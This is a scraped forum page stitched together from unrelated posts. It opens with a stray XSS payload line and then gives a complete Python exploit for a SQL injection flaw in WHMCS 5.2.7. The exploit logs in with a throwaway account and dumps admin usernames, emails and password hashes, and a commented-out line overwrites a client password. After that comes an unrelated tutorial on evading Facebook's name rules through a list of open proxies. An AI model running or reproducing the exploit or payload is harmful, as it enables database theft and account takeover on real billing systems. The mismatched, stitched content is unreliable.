"><img src=x onerror=confirm(1);>

Code:

#!/usr/bin/env python

# 2013/10/03 - WHMCS 5.2.7 SQL Injection

# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie

user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php

user_pwd = 'hacker'

import urllib, re, sys

from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17

Safari/537.36"

def exploit(sql):

print "Doing stuff: %s" % sql

r = urlopen(Request('%sclientarea.php?action=details' % url,

data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid

=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Ch

anges" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua,

"Cookie": user[0]})).read()

return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():

print "Getting CSRF token"

r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))

csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")',

r.read()).group(2)

cookie = r.info()['set-cookie'].split(';')[0]

print "Logging in"

r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email,

user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()

if 'dologin.php' in r:

sys.exit('Unable to login')

else:

return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")',

r).group(2)]

user = login()

print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get

admins

print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil

#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as

x)#" % user_email)

--------------------------------------------------------------------------------------------------------
References:

http://localhost.re/p/whmcs-527-vulnerability

How to Have a first name only on Facebook Guide.

STEP 1
Open Firefox:

Spoiler (Click to Hide)

STEP 2
Go to - Settings:

Spoiler (Click to Hide)

Advanced and finally Network. Click on settings and click on [b]Manual proxy configuration[/b].

Next to Http: and Port: write any of the following:
Note: If one of them doesn't work try the next one.

Spoiler (Click to Hide)

Code:

202.43.188.7 and for Port: 8080.

  202.43.93.51 and for Port: 3128.

  115.124.72.62 and for Port: 3128.

  202.43.188.15 and for Port: 8080.

  118.97.20.221 and for Port: 3128.

  175.45.187.121 and for Port: 8080.

  202.152.156.212 and for Port: 8080.

  202.43.93.55 and for Port: 3128.

  118.98.35.251 and for Port: 8080.

  202.43.93.60 and for Port: 3128.

  103.5.48.198 and for Port: 8080.

  202.43.93.9 and for Port: 3128.

  103.247.16.129 and for Port: 8080.

  202.43.93.58 and for Port: 3128.

After that tick the checkbox: Use this proxy server for all protocols. And finally click Okay:

Spoiler (Click to Hide)

STEP 3
Go to: https://www.facebook.com/

Login with your Email/Password.
Note: Your account may be locked due to using
a proxy! This is can be easily fixed by going through the indentification
process.

Click on Menu located at the right top corner,
Select account settings:

Spoiler (Click to Hide)

Click edit your language,
Change it to: Bahasa Indonesian and finally click Save changes:

Spoiler (Click to Hide)

Then edit your name,
Remove the last name and hit Simpan Perubahan to save changes:

Spoiler (Click to Hide)

After that click on Bahasa to change the language
back to English and click on Simpan Perubahan:

Spoiler (Click to Hide)

And finally click on top right menu and
hit: Logout to log you out safely:

Spoiler (Click to Hide)

After that head over to: Firefox - Options:

Spoiler (Click to Hide)

Followed by: Advanced - Network
and finally Settings again, Remove the proxies and click on:
No Proxy to go out of proxy for faster surfing experience! and
click Okay:

Spoiler (Click to Hide)

I am not the owner of this tutorial so all credit goes to
whom ever figured this. I'm just re presenting it for educational
purposes and through a easier way to follow.

Enjoy and hope you found this much easier to follow.
If you require any help then post below.